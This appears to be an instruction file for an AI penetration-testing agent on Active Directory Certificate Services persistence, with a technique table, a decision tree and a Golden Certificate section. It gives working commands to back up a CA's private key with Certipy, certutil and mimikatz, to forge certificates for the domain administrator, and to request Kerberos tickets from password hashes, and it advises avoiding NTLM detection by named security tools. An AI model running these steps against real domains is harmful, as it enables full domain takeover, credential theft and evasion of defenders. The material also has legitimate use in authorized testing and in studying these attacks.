/adcs-persistence

name: adcs-persistence
description: >
  Establishes persistence and exploits weak certificate mapping in AD CS.
  Covers ESC9 (no security extension), ESC10 (weak certificate mapping),
  ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies),
  Golden Certificate (forge with stolen CA key), certificate theft
  (DPAPI/CAPI/CNG), and account persistence via certificate mapping.
keywords:
  - ESC9
  - ESC10
  - ESC12
  - ESC13
  - ESC14
  - ESC15
  - golden certificate
  - certificate theft
  - certificate persistence
  - certificate mapping
  - altSecurityIdentities
  - DPAPI certificate
  - forge certificate
  - CA private key
  - KB5014754
  - strong certificate binding
  - StrongCertificateBindingEnforcement
tools:
  - Certipy
  - Certify.exe
  - ForgeCert
  - mimikatz
  - SharpDPAPI
  - Rubeus
opsec: medium

ADCS Persistence & Certificate Mapping Attacks

You are helping a penetration tester establish persistence through AD CS certificate abuse and exploit weak certificate mapping configurations. All testing is under explicit written authorization.

**Kerberos-first authentication**: Certificate authentication uses PKINIT (pure Kerberos) by default. Post-exploitation operations use ccache-based Kerberos to avoid NTLM detection (Event 4776, CrowdStrike Identity Module).

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[adcs-persistence] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Varies by technique (see individual sections)
• Tools: `certipy`, `Certify.exe`, `ForgeCert`, `mimikatz`, `SharpDPAPI`,

`Rubeus`, `openssl`

**Kerberos-first workflow**:

cd $TMPDIR && getTGT.py DOMAIN/user -hashes :NTHASH -dc-ip DC_IP
export KRB5CCNAME=$TMPDIR/user.ccache

**Tool output directory**: `getTGT.py`, `certipy req`, `certipy auth`, and `certipy shadow` all write output files to CWD with no output-path flag. Always prefix these commands with `cd $TMPDIR &&` to keep files out of the working directory. `getTGT.py` does NOT support `-out` — CWD is the only control. When saving evidence, use `mv` (not `cp`) to avoid stray duplicates:

mv $TMPDIR/administrator.pfx engagement/evidence/administrator-esc9.pfx
mv $TMPDIR/administrator.ccache engagement/evidence/administrator-esc9.ccache

Overview: Technique Selection

| Technique | Access Required | Persistence Duration | OPSEC | |-----------|----------------|---------------------|-------| | Golden Certificate | CA admin / CA server access | Until CA cert expires (5-10+ years) | Medium | | User cert persistence | Any user | Until cert expires (1-2 years, renewable) | Low | | Machine cert persistence | SYSTEM on target | Until cert expires | Low | | altSecIdentities mapping | Write on target user | Until mapping removed | Low | | Enrollment agent | Enrollment Agent template access | Until agent cert revoked | Medium | | ESC9/10 mapping bypass | GenericWrite + weak mapping config | Per-certificate lifetime | Medium | | ESC13 issuance policy | Enrollment rights on linked template | Per-certificate lifetime | Low | | ESC14 explicit mapping | Write on target altSecIdentities | Until mapping removed | Low | | ESC15 application policies | Schema v1 template with ESS | Per-certificate lifetime | Medium | | Certificate theft | Access to cert store / DPAPI keys | Until cert expires or revoked | Low-Medium |

Decision tree

What do you have?
├── CA server access or CA admin → Golden Certificate (Step 1)
├── Any domain user → User cert persistence (Step 2)
├── SYSTEM on a machine → Machine cert persistence (Step 2) + cert theft (Step 4)
├── GenericWrite on accounts + weak mapping → ESC9/10 (Step 3)
├── Write on altSecIdentities → ESC14 / explicit mapping (Step 5)
├── Enrollment rights on OID-linked template → ESC13 (Step 6)
├── Schema v1 template with ESS → ESC15 (Step 7)
├── CA uses YubiHSM → ESC12 (Step 8)
└── Want to steal existing certs → Certificate theft (Step 4)

Step 1: Golden Certificate

Forge certificates signed with the stolen CA private key. Valid until the CA certificate expires (typically 5-10+ years). Cannot be revoked (unknown to CA database). The most powerful ADCS persistence mechanism.

Obtain CA certificate with private key

# Certipy — backup CA cert + key (requires CA admin)
certipy ca -k -no-pass -target CA.DOMAIN.LOCAL -ca 'DOMAIN-CA' -backup

# certutil (on CA server)
certutil -backupKey -f -p 'BackupPassword' C:\Windows\Tasks\ca-backup

# Mimikatz (on CA server — patch CAPI/CNG then export)
mimikatz.exe "crypto::capi" "crypto::cng" "crypto::certificates /export"

# GUI: certsrv.msc → Right-click CA → All Tasks → Back up CA
# Check "Private key and CA certificate"

Forge certificate for any user

# Certipy — forge with SID (required for KB5014754 Full Enforcement)
certipy forge -ca-pfx DOMAIN-CA.pfx \
  -upn administrator@domain.local \
  -sid 'S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-500' \
  -crl 'ldap:///'

# Certipy — copy extensions from existing certificate template
certipy forge -template existing-cert.pfx -ca-pfx DOMAIN-CA.pfx